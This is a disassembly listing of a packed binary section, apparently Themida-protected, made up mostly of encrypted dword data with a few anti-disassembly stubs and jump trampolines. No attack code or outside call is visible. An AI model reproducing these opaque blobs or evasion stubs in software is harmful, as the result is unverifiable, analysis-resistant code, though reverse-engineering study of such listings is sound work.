		dd 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0A6CB3AC3h, 7D91F5B3h, 6A178DF9h,	0A2858D00h
		dd 0E80611C4h, 9, 0C409E118h, 3BFBA081h, 618D8BFEh, 5B060B23h
		dd 8B525050h, 50310FD3h, 56A6BF66h, 89585A5Ah, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 62C4D4C3h, 0FE8BBF18h, 1F718529h, 8589060Bh,	60B1A59h
		dd 0EE595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 3B0DECC3h, 295148D8h, 0B33819Dh
		dd 0F9B55F06h, 840FC00Bh, 4Ch, 27B59D8Bh, 0BD8B060Bh, 60B15B5h
		dd 42BE9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 8372A7D0h, 362662D2h, 11E9302Bh
		dd 5C000000h, 0FBD09F93h, 68A0988Bh, 4ED00CCAh,	894FFB04h
		dd 4E8h, 12C00h, 0DFBF5000h, 8B4B2C41h,	50042444h, 2F9FBB52h
		dd 310F7225h, 517D00B9h, 8B585A50h, 892BB700h, 0BF042444h
		dd 6845430Fh, 4DDB8058h, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 56F954C3h
		dd 0B0F32C0h, 0B1AAD95h, 0A2B58D06h, 30611C4h, 0B2F5D9Dh
		dd 3106C706h, 0E8363438h, 0Bh, 5CB57CB1h, 0E3E7E8CAh, 8162C3DBh
		dd 61164ED2h, 46C75F54h, 342D3704h, 52006A31h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 583351DAh
		dd 46C760A1h, 8, 0CE800h, 91260000h, 43457188h,	0DB188EF7h
		dd 0F516AE6h, 85h, 8A5F5900h, 0F006AF4h, 688h, 6D8D0300h
		dd 66060B28h, 858DF98Bh, 611C4A2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 19C35242h, 6875CBBFh, 0AFBE4649h
		dd 13E950h, 89900000h, 2ECDB777h, 5CA8F193h, 0D59E604Fh
		dd 9A1DE7A2h, 50905A12h, 9E8h, 57BE3E00h, 0B9631B21h, 1DB37B62h
		dd 90505959h, 11E960h, 0CD790000h, 0B0DD3B30h, 0CE8C565Dh
		dd 0B868CEFFh, 8B0AAF23h, 0B20BDBDh, 95FF6106h,	60B0EE5h
		dd 59BD8BF5h, 0B060B2Eh, 56840FC0h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0CAABC353h, 0E5CB4FEDh, 800884C3h, 51E9FAC9h, 6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 43B2C355h, 21409D3Ah, 31517F2Eh, 0B12BDBDh
		dd 1BF6806h, 8E0F9A90h,	14h, 0E810Fh, 9E90000h,	91000000h
		dd 0E386BFFEh, 20CC7768h, 6D240481h, 0FF656FFFh, 0B32DD95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 66C6B392h, 8D65ABBAh, 11C4A2B5h,	0C7ABB606h
		dd 6C694606h, 919D8965h, 0F060B29h, 586h, 7C77B900h, 46C70DDFh
		dd 6E6F6D04h, 38C0F63h,	0F000000h, 46C7F9B7h, 73616C08h
		dd 3D9D3373h, 0C7060B10h, 0C46h, 8D310000h, 60B162Dh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D8EECAC3h, 0F8319D85h, 8B66613Dh, 0A2858DD0h, 6A0611C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 27BCC357h, 487EBF66h, 2A118589h, 6090060Bh
		dd 5061DDB0h, 0D98B6660h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 4BAFCAC3h, 0D14FD334h
		dd 0FFE6C418h, 0B0EE595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8B60AD4Eh
		dd 0E9958BD3h, 61060B23h, 840FC00Bh, 99h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 3EC35747h, 424CA399h
		dd 19840F1Dh, 0E9000000h, 14h, 0CA51F3BBh, 0FC85C14Bh
		dd 0F547EC78h, 7EB3A19Dh, 6F55F49Bh, 0F9BF0F60h, 0D840Fh
		dd 7E80000h, 27000000h,	0F8D12F87h, 6159AE5Dh, 75E963B1h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 5DA5C350h, 624A14B9h, 14E9h, 0EA88A400h
		dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 0FA00E905h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 21F7FCC3h, 8E83C3Bh, 0BA000000h, 0F31ACD6Bh
		dd 0B981A906h, 243DFBCEh, 0DF8B6659h, 7305B58Dh, 0BB66060Bh
		dd 0B8FCCCh, 0E9000000h, 6, 62F2F7B7h, 0E6FF3A06h, 8B84EB80h
		dd 3BE9C1h, 8B600000h, 0B14F1BDh, 4EF8306h, 0C18BC933h
		dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h
		dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh
		dd 0E8C88BC3h, 12h, 8F1F6F26h, 0C8E72702h, 0EC866EEEh
		dd 5B1ECCB5h, 8D8927CFh, 60B090Dh, 12E959h, 17240000h
		dd 62828A8Fh, 0D3353776h, 0E9E589FEh, 0B0D2991Fh, 6A80C181h
		dd 85890000h
		dd 60B3281h, 5A2163B8h,	6C0815Eh, 89A1A5F9h, 0B07C5BDh
		dd 8B31FF06h, 0B22E99Dh, 0BD8B5E06h, 60B05F5h, 9E49F681h
		dd 952924AEh, 60B29B9h,	0A4D0F681h, 0BD8B5937h,	60B0241h
		dd 4CE5F681h, 8E93D9Ch,	16000000h, 0DCF2103h, 8957B86Ch
		dd 0DE831h, 0F0D0000h, 45FF2B53h, 111BFFC1h, 0B6683879h
		dd 0E9835AA6h, 850F4804h, 18h, 0CA01F281h, 2DE91A34h, 29000000h
		dd 48AEF3A2h, 0DA354CACh, 0A1583351h, 68B0Fh, 0BD8B0000h
		dd 60B2885h, 0FFFF7CE9h, 0FDD15AFFh, 8008B3CBh,	3B8EB88Dh
		dd 4A23A583h, 2DCACAFEh, 0A5A9A80Bh, 32118A4Fh,	0D5ABA80Bh
		dd 32E975EAh, 0BB57A80Bh, 5DBA8A4Fh, 0BB0C57AEh, 33D98A4Fh
		dd 0D5ABA80Bh, 33A075EAh, 0B872A80Bh, 30228A4Fh, 0B8FCA80Bh
		dd 30A48A4Fh, 0D5ABA80Bh, 2F2575EAh, 3B9A43D4h,	60C00313h
		dd 0A752B99Ch, 0B38AD390h, 0ECD12157h, 2F439BD8h, 3B9B18D4h
		dd 68C00313h, 0A752B99Ch, 0B3958290h, 0F8D12157h, 2F439BD8h
		dd 3B84F7D4h, 74C00313h, 0A752B99Ch, 0B3953E90h, 0F4D12157h
		dd 2F439BD8h, 3B8450D4h, 40C00313h, 0A752B99Ch,	0B394CB90h
		dd 0C0D12157h, 2F439BD8h, 3B852AD4h, 4CC00313h,	0A752B99Ch
		dd 0B3944990h, 0D8D12157h, 2F439BD8h, 3B86ACD4h, 54C00313h
		dd 0A752B99Ch, 0B397B790h, 0D0D12157h, 0C3439BD8h, 2A5012B8h
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45444B0h
		dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
		dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3D893AAEh,	42848C1Eh
		dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch,	0E3A8EDDAh
		dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 3BFDD7DBh
		dd 12947513h, 0A0D90201h, 0A454236Ah, 0A1EC79AEh, 941AE51h
		dd 832B22DCh, 73BA8C04h, 2ADF1037h, 28C82173h, 2C45012Eh
		dd 2BFD5BEAh, 81508C15h, 0B3A0098h, 0FBABAE40h,	89EFD2A5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A4544570h, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 30BACC15h, 2C5FAAE0h, 69CE529Eh, 0B99783FCh
		dd 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah, 9A0D79AEh, 1A232094h
		dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0C2345495h, 0A2458A15h, 96BE290Bh, 29439BDAh
		dd 57DFA024h, 5E004D19h, 2A54A851h, 13D77553h, 0A152A353h
		dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah
		dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 832B22DCh, 73BA8C04h
		dd 0A7FEF8E1h, 0B3ECF59Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 7FD77515h, 2652A346h
		dd 28C82045h, 2C45012Eh, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0A9473B87h, 868C2357h, 2FEF4917h, 3BFDD7DBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 0A0F418EAh, 0E2DFAE5Ah, 88558B9h
		dd 832B32DCh, 71BA8C04h, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 13D775BFh,	0A152A353h
		dd 637726DDh, 55CE25FBh, 5D439BBCh, 0AAECCE82h,	28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A454236Ah, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 0B3ECF58Fh, 9A875757h, 0E0320A0h, 55CE25FBh,	5D439BBCh
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4545898h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0E8CE2559h, 0F1439BD8h
		dd 0E4CD32DCh, 71BA8C04h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C456583h, 3BDF0746h, 0D552B99Fh,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B388548Fh, 0B0D9FB57h
		dd 0A454448Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 0E7BE32DCh, 2F168C04h, 3B9A31CBh, 2B967513h,	2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 0D43F8D8Dh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 3D4B26C3h, 99858942h, 66060B2Ah, 8969C7BAh
		dd 0B174D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 8AC176F4h, 29858B24h, 0C7060B03h
		dd 0B011985h, 5BBC06h, 0C0BE6600h, 985C737h, 60B10h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 606CC356h, 0DF9958Bh, 0AE9060Bh, 0DE000000h
		dd 0A4FE74EFh, 0C3B2F629h, 0BD31616Bh, 60B2E71h, 1A31B5FFh
		dd 850F060Bh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+60B0AC5h]
		push	0
		push	ebp
		call	sub_5A94C5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A94C5	proc near		; CODE XREF: Themida_:005A94BDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5A94C5	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ebx-11h], 0BEBD45F3h
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_5A9545
; ---------------------------------------------------------------------------
		dd 8C63404Fh, 79F76425h, 8E91436h, 512E1B66h, 3935253Fh
		dd 10F4B8C3h, 75F39FECh, 4038A100h, 0A24645F2h,	645E263Ah
		dd 0B2E598B6h, 8551B4D0h, 0CC484ECCh, 4C5AD703h, 5C60DDEBh
		dd 5F134A87h, 0C3AAAA7Bh, 0F3133EA3h, 0BD643B29h, 72737C47h
		dd 0B0A35D17h, 172772E3h, 0BE1FD8B8h
; ---------------------------------------------------------------------------
		inc	esi


loc_5A9545:				; CODE XREF: Themida_:005A94E6j
		jmp	loc_5A95FB
; ---------------------------------------------------------------------------
		dw 2E78h
		dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h
		dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h
		dd 0ACC585C9h, 0D8DE67DDh, 32DB15F9h, 0EC3740ECh, 941D0C78h
		dd 5BBF83C3h, 256AFC67h, 0E1C56B4Fh, 0C3D5C881h, 0F87ABC23h
		dd 82676B2Ah, 0AA089064h, 72503C6Bh, 0E53CAE1Bh, 10h, 4450BD0Fh
		dd 1D1377FFh, 0AE94C394h, 0DEB9C4Ah, 9FDD4DEh, 967A57A0h
		dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh,	71C5FC02h
		dd 0FC407988h, 7BCFFA0Dh, 0D4A668CFh, 0ECE90611h, 87FFF9A9h
		dd 10CB5C84h, 45245BBDh
		db 98h,	0Ah, 96h
; ---------------------------------------------------------------------------


loc_5A95FB:				; CODE XREF: Themida_:loc_5A9545j
		mov	eax, 611D541h
		add	eax, ebp
		jmp	short loc_5A9608
; ---------------------------------------------------------------------------
		dd 5B27E563h
; ---------------------------------------------------------------------------


loc_5A9608:				; CODE XREF: Themida_:005A9602j
		jmp	loc_5AA484
; ---------------------------------------------------------------------------
		push	611D7F1h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611D906h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611D9FDh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611DAADh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611DDFBh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611E151h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	611E261h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 71h
		dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h
		dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h,	0B63E32DFh
		dd 0C585C8D2h, 9B0AE655h, 0AE94B28Dh, 17FBDADEh, 0FC675EA6h
		dd 9B41DAA2h, 5B2F166Ah, 9527C967h, 60B71F68h, 0B5A9ED51h
		dd 246ACB9Bh, 0FFC3BD9Fh, 0CCD4C10Bh, 0FF8F57F1h, 2A3A60E5h
		dd 46F57F8Eh, 0FE7EBC56h, 0C8E0D6D4h, 0C178BAC4h, 93F77FEDh
		dd 143A60E4h, 0EF1E002Eh, 0DA2C3505h, 47h, 760D6F22h, 0F81540E4h
		dd 0A09ABD9Eh, 11FC0EDCh, 44C807h, 60C484C0h, 19370B3Ah
		dd 60C43D4Dh, 5869BC3Ah, 0C4F305F4h, 8B1A1070h,	518E52F7h
		dd 9B532159h, 2E7BC2B2h, 32B3F513h, 354F2FDEh, 151A2Ch
		dd 0C8E20000h, 99Bh, 4C86B724h,	5A3B2B2Eh, 25A9A0F3h, 0DED147E1h
		dd 2C1B6DD5h, 0DAB8BF58h, 8FDE60ECh, 1AC3B7ABh,	0A5273C09h
		dd 96F7931Bh, 278C394h,	963054D8h, 43B7C394h, 0F88319A5h
		dd 9277FA72h, 0F2C8BD9Fh, 3256DE68h, 0BB3A619Bh, 96EA5E61h
		dd 0AC26D129h, 0AC9210E3h, 69F357F1h, 983357DFh, 4EB43A61h
		dd 98B4D4A0h, 33613A61h, 0A9FF2EB2h, 4D62A9Eh, 6198E4E0h
		dd 0F9176B3Ah, 3591E607h, 32C32Ch, 6F2D0000h, 40E4760Dh
		dd 0BD9F05D1h, 4A90645Eh, 90E84C5Bh, 81E5D9ADh,	0CBB7D35Bh
		dd 0C2383A60h, 0CB305024h, 0BFE53A60h, 0C733DA2Eh, 121E2C35h
		dd 0E6000001h, 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 0BCC4B519h
		dd 1D8BFF77h, 261CC394h, 7A8F7EC2h, 9344CB9h, 0C5814185h
		dd 4AC3941Dh, 0A2A81C70h, 2213723Dh, 51FFC968h,	0F368ABFCh
		dd 0A84FA28h, 0F591512Fh, 7AC39406h, 0AF372C00h, 0C39403FFh
		dd 46EE357Eh, 0C3940B02h, 9359BD85h, 0B18C9401h, 0D7989CDh
		dd 0EFC3940Bh, 940B0347h, 0C1BE84C3h, 18944FF9h, 0DFA39EEDh
		dd 0A529286Eh, 57DF0D61h, 0C3940B33h, 0ADA04EB4h, 0EFF6D58h
		dd 77BCF06h, 730961E9h,	0EFEA02E8h, 40BD9F15h, 0DFBDF97Ah
		dd 741E9644h, 0C7446D60h, 64BC69F3h, 176D9A59h,	34EEDF28h
		dd 351D8C6Ch, 0B2952h, 0ECDB2F00h, 0B28F9677h, 43544A1h
		dd 0E9E82EDFh, 0B8879D0Ah, 36D51CBBh, 0E700D3E2h, 57B0A39Eh
		dd 0ED7641h, 0F019DAF7h, 0CA90F478h, 0A817C585h, 0FBDADE30h
		dd 3B4FE771h, 8CC3941Dh, 1D582C40h, 0EB2FC394h,	719E59F7h
		dd 3357DF24h, 0B43C6BE2h, 7F896A4Eh, 9F49888Eh,	760D6FB9h
		dd 5D140E4h, 0C233BD9Fh, 0DE3286B3h, 1BEFD330h,	60CBBBCBh
		dd 0BB4A6E3Ah, 35C6A841h, 0DB812Ch, 0DE6F0000h,	0E2E60ED5h
		dd 65C3941Dh, 0E455391Dh, 4BBA19Ch, 0D6258E67h,	0F032D1Dh
		dd 4F3BB33Dh, 0C0C39452h, 0E8B84CFAh, 69C39457h, 0CA3B211Ch
		dd 81628CB9h, 0FBFD1364h, 2169D154h, 0D5C9F40Dh, 55D96BF1h
		dd 0C3941231h, 0E25D60B8h, 829A6E98h, 69FB61FAh, 59CD5BF2h
		dd 0C3032A0Ch, 0C3943E87h, 5A143208h, 9F20C7D2h, 0C11268BDh
		dd 704D5647h, 0ADB6C6D6h, 745E37BFh, 7E2F446Dh,	6BE11E33h
		dd 1EF29A3h, 0CD382206h, 0BA6B88B7h, 1F905F66h,	568C6C6Bh
		dd 0A141BFCh, 0CED80000h, 74836CF7h, 22719E45h,	0C3DB342Fh
		dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h,	0DA193440h
		dd 76EDD82Dh, 0BBCF6785h, 0CC585C4h, 50BDC7BDh,	0A69BE048h
		dd 6C9AFED2h, 0BFA49BE1h, 0EB08454Eh, 0F8D5DE2Dh, 63B3CD72h
		dd 0E0F99109h, 483C0319h, 0E476DA74h, 35D3EE39h, 61F2CFD8h
		dd 3448941Ch, 9E3D2Fh, 0BAEED486h, 9036EA15h, 58044186h
		dd 9DA83CAEh, 0FFBD9F0Fh, 0F2C7DA40h, 0C4D7191Bh, 0E9CD01F5h
		dd 85FAC03Fh, 625FAA5Bh, 0F88CBA9Eh, 0E2A53457h, 0EC7E0597h
		dd 285CD062h, 0B193BB1Ah, 95ED6A69h, 48E6D324h,	0B02B99BCh
		dd 2094EEEDh, 0BDAFB4C8h, 0BA264129h, 0ADC153F7h, 87816BD9h
		dd 5DBA54AEh, 0B865F765h, 0A8EC5069h, 816B2C58h, 0B15FA387h
		dd 88C5CE3Fh, 274FD96Bh, 87816BA3h, 6FE8D52Ah, 710FD2Bh
		dd 0F8BC3DCAh, 13F73C3Dh, 91DBCh, 0F8D72300h, 4E7B8A7Bh
		dd 10297895h, 0E5DC22C3h, 0B48B917Eh, 2AC128AFh, 9B74EFD6h
		dd 4BA4BF82h, 34D1023Dh, 0FC0DD6E3h, 0C48CF86Ch, 0B403C585h
		dd 0F8D5DECCh, 0F3881414h, 1AC0C569h, 8B45BD9Fh, 60E66763h
		dd 0BE92E83Ah, 183741ACh, 0B73F49DBh, 3A60E6D3h, 4DC06E54h
		dd 2983993Bh, 388CE0DFh, 112C75C4h, 817569ADh, 417D04BBh
		dd 49753A5Fh, 0E4B3D79Fh, 3433A60h, 333A60D4h, 9D08D269h
		dd 0F6CABE85h, 99049658h, 88CCB08Fh, 0C06B965Eh, 73DC446Bh
		dd 5B76812Bh, 5BBF9367h, 55FD06F7h, 43870B46h, 9A4BE06Fh
		dd 50B28C69h, 86DFFh, 28277300h, 0FECBDACBh, 40798865h
		dd 152C7293h, 0E4DB21CEh, 7A91D87Fh, 2BC41F26h,	9B74EFD2h
		dd 44A1B28Dh, 2CDD0633h, 0C7DCA83Ch, 0E453C585h, 760D6F7Ch
		dd 299D40E4h, 2812BD9Fh, 97A2F5A4h, 5F881645h, 0DF35B02Ch
		dd 0CB3AB631h, 0DA3E82BDh, 0A72B2673h, 3D48C563h, 0A1672FAh
		dd 0A1993A60h, 990D9F4Dh, 3A600AEDh, 4D788D62h,	87A185F9h
		dd 90E6B83h, 0A474BE3h,	82F83A60h, 481033Eh, 0BAB9889Fh
		dd 600A5434h, 215643Ah,	0A5C54D8h, 0AF933A60h, 7D4C5BB4h
		dd 42524389h, 4109DD0Bh, 0BC3A600Bh, 0B263E9E4h, 57B6506Dh
		dd 5E27140h, 0B4252F2h,	6C99A317h, 72022C1Dh, 3A600B42h
		dd 1098156Fh, 0E06096E5h, 0EA3EFC52h, 56B751B5h, 0A190E74Fh
		dd 5E85F9DDh, 74E67900h, 604791F0h, 0A9CC733Ah,	2B161BCEh
		dd 6E54B35Dh, 9E934A9Ah, 0D122B600h, 5B2F2271h,	0CEBF0367h
		dd 39181ECAh, 0CCC471C5h, 0C0A84DC1h, 0C48024B6h, 4B4606DCh
		dd 0DC8BFF77h, 261C4606h, 951FAE08h, 5D211C68h,	0BC6DCF79h
		dd 95B7D2CDh, 1A9h, 4A50BD73h, 0BBC1DD0Bh, 0B332BAA0h
		dd 0BCBD9F16h, 1C699446h, 7EB468D7h, 81238200h,	60130541h
		dd 5CB08A3Ah, 201D6687h, 4004A83Ah, 0C93A6013h,	0CF338CB3h
		dd 0EB392921h, 6AC5268Dh, 0F25B2F16h, 7826AAA7h, 0F3D3AF3Eh
		dd 0B2C72CB9h, 66B35C87h, 0A855E76Bh, 0BC51BA5Ch, 1CC6D55Bh
		dd 0D6705438h, 0B7ACB3C6h, 8D714056h, 65FECBDCh, 98427F88h
		dd 77E2E60Eh, 1D65B139h, 0C26C5DACh, 0FA72FC4Eh, 0B139778Eh
		dd 470F3901h, 20B3E3D5h, 8ABC23C1h, 726C5A4Dh, 8DC02778h
		dd 84F8D291h, 54BD486Ah, 0ED7643h, 0CCB82CF7h, 2EC3B62Fh
		dd 0B62FC286h, 827D45C3h, 679644B8h, 4B5A231Eh,	2078D07Eh
		dd 0AC4A5359h, 0A9AB7F19h, 1DECC060h, 10DA3E05h, 0C0011786h
		dd 0B6D0D8ACh, 776BAFC3h, 0D0790DD9h, 61CEC3B6h, 12C12518h
		dd 2C90AFF5h, 40AAADCCh, 0B6D0542Ch, 31422BC3h,	785CB004h
		dd 59F90AFBh, 0AF13774Ah, 379BBAFEh, 967F8E0Ah,	0E7D2258Dh
		dd 43370E16h, 0DFC82B0Fh, 0E1E509CAh, 66C3B6D1h, 5454381Ch
		dd 84283245h, 0C3B6D1C8h, 6CF87B5Fh, 0B0FD27CFh, 0B609483Ch
		dd 5CFBDFC3h, 98B64B3Fh, 0E15560B5h, 635AAA5Bh,	0ADD94D9Fh
		dd 22C3B6E3h, 0C34AE4D8h, 0DC369AB5h, 7432AD12h, 0FF816882h
		dd 0B1565751h, 236E9F64h, 9AA2262Eh, 4825C3B6h,	34280C3Dh
		dd 98B5FE2Fh, 92A5F434h, 9AB42448h, 0C73BC3B6h,	67638B15h
		dd 0E8C3B69Ah, 12F37492h, 2747CB02h, 8D1FCD52h,	5E11662Eh
		dd 87A1FA62h, 0B6329BFFh, 0CD166CC3h, 4150BD37h, 1A6FDE08h
		dd 126A342Fh, 9A4BE309h, 0D3BD9F23h, 0EDE7DEFh,	0C72286DEh
		dd 28D597B1h, 0F672E1DCh, 17C5F407h, 607FEB9Fh,	0E8067C3Ah
		dd 5AD21365h, 3A607F2Eh, 916559A1h, 0F2780399h,	6B784F7Ah
		dd 176FC044h, 0C60A428h, 3543B2B8h, 0B452B61Ah,	7D70A020h
		dd 0AC0C9030h, 3CC6FCF6h, 0F5675BA5h, 76E58C71h, 0B519614Eh
		dd 4986B3C4h, 9274B88Ch, 1F04FB4Fh, 25000005h, 8C79FAD1h
		dd 7AAB4879h, 24C1122Fh, 937CE7DEh, 16ADB689h, 0E9D42CCFh
		dd 0B9849D0Ah, 0C3B4DBAh, 0D0ED36D7h, 0FA72FE03h, 0C585C08Eh
		dd 6FCAB201h, 40E4760Dh, 0BD9F2419h, 0CFF60AFBh, 0B08D927Bh
		dd 6D55B25Ch, 0E8384999h, 7DEF3A60h, 43B551DEh,	8732F892h
		dd 3A7125A5h, 387A9488h, 0A1F627ADh, 3841289Ch,	795DB105h
		dd 0E3BC6DCFh, 0CD952C34h, 73000000h, 941D57A7h, 0B78E96C3h
		dd 20759253h, 0B90CE15h, 0E42EA70h, 0ECC3941Dh,	561D5E4Fh
		dd 0FD06C964h, 0C542ECC0h, 49DD6FFDh, 0C394B93Dh, 0B93357DFh
		dd 4EB4C394h, 0EB5F89F1h, 1FC4F102h, 35273C5Fh,	3E82BFC8h
		dd 7DD8D01h, 72568907h,	1D881AD4h, 0E134E608h, 874F5098h
		dd 4DFBDFA3h, 94A0C5B9h, 9C605AC3h, 7FEDD82Dh, 0C448858Eh
		dd 38D6680h, 0A0097DF1h, 7BF3C394h, 0C394A00Fh,	0E5DDBA80h
		dd 1328734Bh, 0A045A5C9h, 0B08AC394h, 1F227BAAh, 618557ABh
		dd 0C394A065h, 927690EAh, 93603252h, 28A5FFC3h,	0C8122972h
		dd 946044A4h, 0A5B78BC3h, 60F7931Bh, 278C394h, 5A8103E4h
		dd 0CED7304Bh, 247444F3h, 0E4FE6583h, 6000000h,	0E4760D6Fh
		dd 9F299D40h, 888E7FBDh, 84B5C049h, 0D532DC30h,	40E42F78h
		dd 3A60F704h, 7F53B78Bh, 0E0DD228Bh, 0C7542373h, 0F7F99115h
		dd 891B3A60h, 60F76165h, 729CE63Ah, 0D1EC3895h,	2735296Dh
